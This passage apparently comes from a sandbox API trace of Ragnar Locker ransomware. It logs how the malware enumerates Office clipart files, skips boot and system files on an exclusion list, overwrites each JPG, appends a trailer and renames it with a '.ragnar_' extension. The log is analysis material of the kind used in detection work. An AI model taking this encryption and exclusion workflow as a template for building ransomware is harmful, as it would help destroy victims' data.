returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" [0087.980] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.ragnar_FD7BD9FC" [0087.980] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.981] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0087.981] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.981] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382939.JPG" | out: lpString1="J0382939.JPG") returned="J0382939.JPG" [0087.981] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG") returned=".JPG" [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="autorun.inf") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="boot.ini") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="bootfont.bin") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="bootsect.bak") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="bootmgr") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="bootmgr.efi") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="bootmgfw.efi") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="desktop.ini") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="iconcache.db") returned 1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="ntldr") returned -1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="ntuser.dat") returned -1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="ntuser.dat.log") returned -1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="ntuser.ini") returned -1 [0087.981] lstrcmpiW (lpString1="J0382939.JPG", lpString2="thumbs.db") returned -1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.981] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg")) returned 0x20 [0087.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.982] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=109477) returned 1 [0087.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ab9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.982] GetProcessHeap () returned 0x580000 [0087.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.982] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.983] VirtualAlloc (lpAddress=0x0, dwSize=0x1aba5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.984] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1aba5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1aba5, lpOverlapped=0x0) returned 1 [0087.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.987] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1aba5, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.987] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1aba5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1aba5, lpOverlapped=0x0) returned 1 [0087.987] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1aba5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.987] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1aba5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.988] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.988] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.988] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.988] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.988] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.988] GetProcessHeap () returned 0x580000 [0087.988] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.988] CloseHandle (hObject=0xf4) returned 1 [0087.988] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" [0087.988] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.ragnar_FD7BD9FC" [0087.988] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.989] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0087.989] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.989] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382942.JPG" | out: lpString1="J0382942.JPG") returned="J0382942.JPG" [0087.989] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG") returned=".JPG" [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="autorun.inf") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="boot.ini") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="bootfont.bin") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="bootsect.bak") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="bootmgr") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="bootmgr.efi") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="bootmgfw.efi") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="desktop.ini") returned 1 [0087.989] lstrcmpiW (lpString1="J0382942.JPG", lpString2="iconcache.db") returned 1 [0087.990] lstrcmpiW (lpString1="J0382942.JPG", lpString2="ntldr") returned -1 [0087.990] lstrcmpiW (lpString1="J0382942.JPG", lpString2="ntuser.dat") returned -1 [0087.990] lstrcmpiW (lpString1="J0382942.JPG", lpString2="ntuser.dat.log") returned -1 [0087.990] lstrcmpiW (lpString1="J0382942.JPG", lpString2="ntuser.ini") returned -1 [0087.990] lstrcmpiW (lpString1="J0382942.JPG", lpString2="thumbs.db") returned -1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.990] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg")) returned 0x20 [0087.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.991] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=91450) returned 1 [0087.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16531, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.991] GetProcessHeap () returned 0x580000 [0087.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.991] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.993] VirtualAlloc (lpAddress=0x0, dwSize=0x1653a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.993] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.993] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.993] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1653a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1653a, lpOverlapped=0x0) returned 1 [0087.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1653a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.996] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1653a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1653a, lpOverlapped=0x0) returned 1 [0087.997] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1653a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.997] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1653a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.997] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.997] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.997] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.997] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.998] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.998] GetProcessHeap () returned 0x580000 [0087.998] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.998] CloseHandle (hObject=0xf4) returned 1 [0087.998] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" [0087.998] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.ragnar_FD7BD9FC" [0087.998] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0087.999] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.999] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382944.JPG" | out: lpString1="J0382944.JPG") returned="J0382944.JPG" [0087.999] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG") returned=".JPG" [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="autorun.inf") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="boot.ini") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="bootfont.bin") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="bootsect.bak") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="bootmgr") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="bootmgr.efi") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="bootmgfw.efi") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="desktop.ini") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="iconcache.db") returned 1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="ntldr") returned -1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="ntuser.dat") returned -1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="ntuser.dat.log") returned -1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="ntuser.ini") returned -1 [0087.999] lstrcmpiW (lpString1="J0382944.JPG", lpString2="thumbs.db") returned -1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.999] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg")) returned 0x20 [0087.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.000] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=81437) returned 1 [0088.000] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.000] GetProcessHeap () returned 0x580000 [0088.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.000] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.001] VirtualAlloc (lpAddress=0x0, dwSize=0x13e1d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.001] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13e1d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13e1d, lpOverlapped=0x0) returned 1 [0088.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.004] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13e1d, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.004] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13e1d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13e1d, lpOverlapped=0x0) returned 1 [0088.004] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13e1d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.004] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13e1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.005] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.005] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.005] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.005] GetProcessHeap () returned 0x580000 [0088.005] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.005] CloseHandle (hObject=0xf4) returned 1 [0088.005] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" [0088.005] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.ragnar_FD7BD9FC" [0088.005] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.006] FindNextFileW (in: 